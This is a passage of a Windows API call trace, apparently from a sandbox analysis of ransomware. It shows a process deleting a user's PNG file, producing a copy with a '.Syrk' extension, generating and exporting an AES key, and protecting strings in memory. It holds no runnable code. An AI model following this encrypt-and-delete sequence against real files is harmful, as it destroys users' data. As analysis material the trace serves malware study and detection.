(in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0251.809] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0251.809] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0251.809] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0251.809] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0251.809] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\kwi_spi1.png")) returned 0x20 [0251.810] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0251.810] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png", lpFilePart=0x0) returned 0x28 [0251.813] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0251.813] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png", lpFilePart=0x0) returned 0x28 [0251.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0251.814] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0251.814] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png", lpFilePart=0x0) returned 0x28 [0251.814] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\kwi_spi1.png\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0251.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0251.814] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0251.815] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0251.815] CoTaskMemFree (pv=0x3b0008) [0251.817] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\kwi_spi1.png")) returned 0x20 [0251.817] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0251.818] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png", lpFilePart=0x0) returned 0x28 [0251.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0251.818] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\kwi_spi1.png"), fInfoLevelId=0x0, lpFileInformation=0x2427614 | out: lpFileInformation=0x2427614*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19728280, ftCreationTime.dwHighDateTime=0x1d99790, ftLastAccessTime.dwLowDateTime=0xf43a2730, ftLastAccessTime.dwHighDateTime=0x1d99b49, ftLastWriteTime.dwLowDateTime=0xf43a2730, ftLastWriteTime.dwHighDateTime=0x1d99b49, nFileSizeHigh=0x0, nFileSizeLow=0x93ac)) returned 1 [0251.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0251.818] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\kwi_spi1.png")) returned 1 [0251.871] EtwEventActivityIdControl () returned 0x0 [0251.871] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.872] EtwEventActivityIdControl () returned 0x0 [0251.872] EtwEventActivityIdControl () returned 0x0 [0251.872] EtwEventActivityIdControl () returned 0x0 [0251.881] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\kwi_spi1.png.syrk")) returned 0x20 [0251.882] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\kwi_spi1.png.syrk")) returned 0x20 [0251.882] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0251.882] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png.Syrk", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png.Syrk", lpFilePart=0x0) returned 0x2d [0251.883] EtwEventActivityIdControl () returned 0x0 [0251.884] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.884] EtwEventActivityIdControl () returned 0x0 [0251.884] EtwEventActivityIdControl () returned 0x0 [0251.884] EtwEventActivityIdControl () returned 0x0 [0251.889] EtwEventActivityIdControl () returned 0x0 [0251.890] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.890] EtwEventActivityIdControl () returned 0x0 [0251.890] EtwEventActivityIdControl () returned 0x0 [0251.890] EtwEventActivityIdControl () returned 0x0 [0251.895] EtwEventActivityIdControl () returned 0x0 [0251.895] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.896] EtwEventActivityIdControl () returned 0x0 [0251.896] EtwEventActivityIdControl () returned 0x0 [0251.896] EtwEventActivityIdControl () returned 0x0 [0251.901] EtwEventActivityIdControl () returned 0x0 [0251.902] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.902] EtwEventActivityIdControl () returned 0x0 [0251.902] EtwEventActivityIdControl () returned 0x0 [0251.902] EtwEventActivityIdControl () returned 0x0 [0251.906] EtwEventActivityIdControl () returned 0x0 [0251.907] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.907] EtwEventActivityIdControl () returned 0x0 [0251.907] EtwEventActivityIdControl () returned 0x0 [0251.907] EtwEventActivityIdControl () returned 0x0 [0251.912] EtwEventActivityIdControl () returned 0x0 [0252.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0252.044] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\kwI_sPi1.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\kwi_spi1.png.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24309bc | out: lpFileInformation=0x24309bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11beb650, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x11beb650, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x11c117b0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x93c4)) returned 1 [0252.044] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0252.045] GetConsoleOutputCP () returned 0x1b5 [0252.046] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0252.046] GetConsoleOutputCP () returned 0x1b5 [0252.046] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0252.046] GetConsoleOutputCP () returned 0x1b5 [0252.046] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0252.047] GetConsoleOutputCP () returned 0x1b5 [0252.047] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0252.047] GetConsoleOutputCP () returned 0x1b5 [0252.047] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0252.047] GetConsoleOutputCP () returned 0x1b5 [0252.047] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0252.047] GetConsoleOutputCP () returned 0x1b5 [0252.048] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0252.048] GetConsoleOutputCP () returned 0x1b5 [0252.048] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0252.048] GetConsoleOutputCP () returned 0x1b5 [0252.048] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0252.048] GetConsoleOutputCP () returned 0x1b5 [0252.049] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0252.049] GetConsoleOutputCP () returned 0x1b5 [0252.049] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0252.049] GetConsoleOutputCP () returned 0x1b5 [0252.049] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0252.049] GetConsoleOutputCP () returned 0x1b5 [0252.050] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0252.050] GetConsoleOutputCP () returned 0x1b5 [0252.050] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0252.050] GetConsoleOutputCP () returned 0x1b5 [0252.050] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0252.050] GetConsoleOutputCP () returned 0x1b5 [0252.050] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0252.051] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0252.052] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0252.052] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x244a5dc*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x244a5dc*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0252.053] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0252.053] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0252.055] EtwEventActivityIdControl () returned 0x0 [0252.055] EtwEventActivityIdControl () returned 0x0 [0252.055] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0252.056] EtwEventActivityIdControl () returned 0x0 [0252.056] EtwEventActivityIdControl () returned 0x0 [0252.056] EtwEventActivityIdControl () returned 0x0 [0252.058] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0252.059] EtwEventActivityIdControl () returned 0x0 [0252.059] EtwEventActivityIdControl () returned 0x0 [0252.059] EtwEventActivityIdControl () returned 0x0 [0252.061] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4cd48) returned 1 [0252.063] CryptGenKey (in: hProv=0x5c4cd48, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c996a0) returned 1 [0252.063] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0252.063] CryptExportKey (in: hKey=0x5c996a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0252.063] CryptExportKey (in: hKey=0x5c996a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x2451fa8, pdwDataLen=0x5a2e8c4 | out: pbData=0x2451fa8*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0252.064] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0252.064] EtwEventActivityIdControl () returned 0x0 [0252.064] EtwEventActivityIdControl () returned 0x0 [0252.064] EtwEventActivityIdControl () returned 0x0 [0252.066] SysStringLen (param_1="") returned 0x8 [0252.066] SysStringLen (param_1="5") returned 0x8 [0252.066] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.066] SysStringLen (param_1="偰㖶ﵣ㣈\凘奮篵∊) returned 0x8 [0252.066] SysStringLen (param_1="偰㖶ﵣ㣈\凘奮篵∊) returned 0x8 [0252.066] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.066] SysStringLen (param_1="5y") returned 0x8 [0252.066] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.066] SysStringLen (param_1="ꖴ攠ܗረ虌帷⮞") returned 0x8 [0252.067] SysStringLen (param_1="ꖴ攠ܗረ虌帷⮞") returned 0x8 [0252.067] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.067] SysStringLen (param_1="5yY") returned 0x8 [0252.067] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.067] SysStringLen (param_1="騥嵚⤮絉甮⮁텆⺵") returned 0x8 [0252.067] SysStringLen (param_1="騥嵚⤮絉甮⮁텆⺵") returned 0x8 [0252.067] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.067] SysStringLen (param_1="5yY4") returned 0x8 [0252.067] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.067] SysStringLen (param_1="\￙뿆쳣녴蘟뮦∥) returned 0x8 [0252.068] SysStringLen (param_1="\￙뿆쳣녴蘟뮦∥) returned 0x8 [0252.068] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.068] SysStringLen (param_1="5yY43") returned 0x8 [0252.068] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.068] SysStringLen (param_1="欠阳\⏟璠㕙홪뇀⋌) returned 0x8 [0252.068] SysStringLen (param_1="欠阳\⏟璠㕙홪뇀⋌) returned 0x8 [0252.068] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.068] SysStringLen (param_1="5yY43O") returned 0x8 [0252.068] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.068] SysStringLen (param_1="䫆㬊ᶱ婌嶿볱엃") returned 0x8 [0252.069] SysStringLen (param_1="䫆㬊ᶱ婌嶿볱엃") returned 0x8 [0252.069] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.069] SysStringLen (param_1="5yY43OY") returned 0x8 [0252.069] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.069] SysStringLen (param_1="꼆羘養殲趉㢪蜄") returned 0x8 [0252.069] SysStringLen (param_1="꼆羘養殲趉㢪蜄") returned 0x8 [0252.069] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.069] SysStringLen (param_1="5yY43OYO") returned 0x8 [0252.069] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0252.069] SysStringLen (param_1="鰛承㼆린犻寬袎") returned 0x8 [0252.072] SysStringLen (param_1="鰛承㼆린犻寬袎") returned 0x8 [0252.072] SysStringLen (param_1="鰛承㼆린犻寬袎") returned 0x8 [0252.072] SysStringLen (param_1="鰛承㼆린犻寬袎") returned 0x10 [0252.072] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.073] SysStringLen (param_1="5yY43OYOo嫪䡯;秼쓄⢟䖵") returned 0x10 [0252.073] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.073] SysStringLen (param_1="鰛承㼆린犻寬袎돪爙䄦垢行ꤏ") returned 0x10 [0252.073] SysStringLen (param_1="鰛承㼆린犻寬袎돪爙䄦垢行ꤏ") returned 0x10 [0252.073] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.073] SysStringLen (param_1="5yY43OYOoq䡯;秼쓄⢟䖵") returned 0x10 [0252.073] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.073] SysStringLen (param_1="鰛承㼆린犻寬袎햊ﯲ뜵筞體騼廇콙") returned 0x10 [0252.073] SysStringLen (param_1="鰛承㼆린犻寬袎햊ﯲ뜵筞體騼廇콙") returned 0x10 [0252.073] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.073] SysStringLen (param_1="5yY43OYOoqU;秼쓄⢟䖵") returned 0x10 [0252.074] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.074] SysStringLen (param_1="鰛承㼆린犻寬袎诰ऺ䘬귣쾹峄䍵") returned 0x10 [0252.074] SysStringLen (param_1="鰛承㼆린犻寬袎诰ऺ䘬귣쾹峄䍵") returned 0x10 [0252.074] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.074] SysStringLen (param_1="5yY43OYOoqU3秼쓄⢟䖵") returned 0x10 [0252.074] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.074] SysStringLen (param_1="鰛承㼆린犻寬袎쬴䖥梢\௝센쉋⊊) returned 0x10 [0252.074] SysStringLen (param_1="鰛承㼆린犻寬袎쬴䖥梢\௝센쉋⊊) returned 0x10 [0252.074] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.074] SysStringLen (param_1="5yY43OYOoqU3u쓄⢟䖵") returned 0x10 [0252.075] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.075] SysStringLen (param_1="鰛承㼆린犻寬袎ＧẶ쇰텱匒趲ᥑ") returned 0x10 [0252.075] SysStringLen (param_1="鰛承㼆린犻寬袎ＧẶ쇰텱匒趲ᥑ") returned 0x10 [0252.075] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.075] SysStringLen (param_1="5yY43OYOoqU3uP⢟䖵") returned 0x10 [0252.075] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.075] SysStringLen (param_1="鰛承㼆린犻寬袎︂䘙峇廞ང茹韁") returned 0x10 [0252.075] SysStringLen (param_1="鰛承㼆린犻寬袎︂䘙峇廞ང茹韁") returned 0x10 [0252.075] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.075] SysStringLen (param_1="5yY43OYOoqU3uPx䖵") returned 0x10 [0252.076] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.076] SysStringLen (param_1="鰛承㼆린犻寬袎怭ᤜ瓴\蓞饕妫權⋳) returned 0x10 [0252.076] SysStringLen (param_1="鰛承㼆린犻寬袎怭ᤜ瓴\蓞饕妫權⋳) returned 0x10 [0252.076] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.076] SysStringLen (param_1="5yY43OYOoqU3uPx0") returned 0x10 [0252.076] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0252.076] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\⋚) returned 0x10 [0252.077] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\⋚) returned 0x10 [0252.077] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\⋚) returned 0x10 [0252.077] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\⋚) returned 0x18 [0252.077] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.077] SysStringLen (param_1="5yY43OYOoqU3uPx07㚐㟣ୂ蛠艕េ") returned 0x18 [0252.078] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.078] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\觚꣌⹁ᰎ骱暁ᬥ㾞≩) returned 0x18 [0252.078] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\觚꣌⹁ᰎ骱暁ᬥ㾞≩) returned 0x18 [0252.078] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.078] SysStringLen (param_1="5yY43OYOoqU3uPx075㟣ୂ蛠艕េ") returned 0x18 [0252.078] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.078] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\ⷚ땔㳅栜ぐ벉뿄窞∾) returned 0x18 [0252.078] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\ⷚ땔㳅栜ぐ벉뿄窞∾) returned 0x18 [0252.078] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.079] SysStringLen (param_1="5yY43OYOoqU3uPx0756ୂ蛠艕េ") returned 0x18 [0252.079] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.079] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\胚Ū䢁䈭禗円嫏⊖) returned 0x18 [0252.079] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\胚Ū䢁䈭禗円嫏⊖) returned 0x18 [0252.079] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.079] SysStringLen (param_1="5yY43OYOoqU3uPx0756X蛠艕េ") returned 0x18 [0252.079] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.079] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\柚왕臙鬩㐄频篖株⋩) returned 0x18 [0252.079] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\柚왕臙鬩㐄频篖株⋩) returned 0x18 [0252.079] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.080] SysStringLen (param_1="5yY43OYOoqU3uPx0756X1艕េ") returned 0x18 [0252.080] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0252.080] SysStringLen (param_1="鰛承㼆린犻寬袎硍ฅ䂊놌ഏ圞\盚夹䟥霈ㄕ䁣ᮢꕞ⊾) returned 0x18 [0252.080] 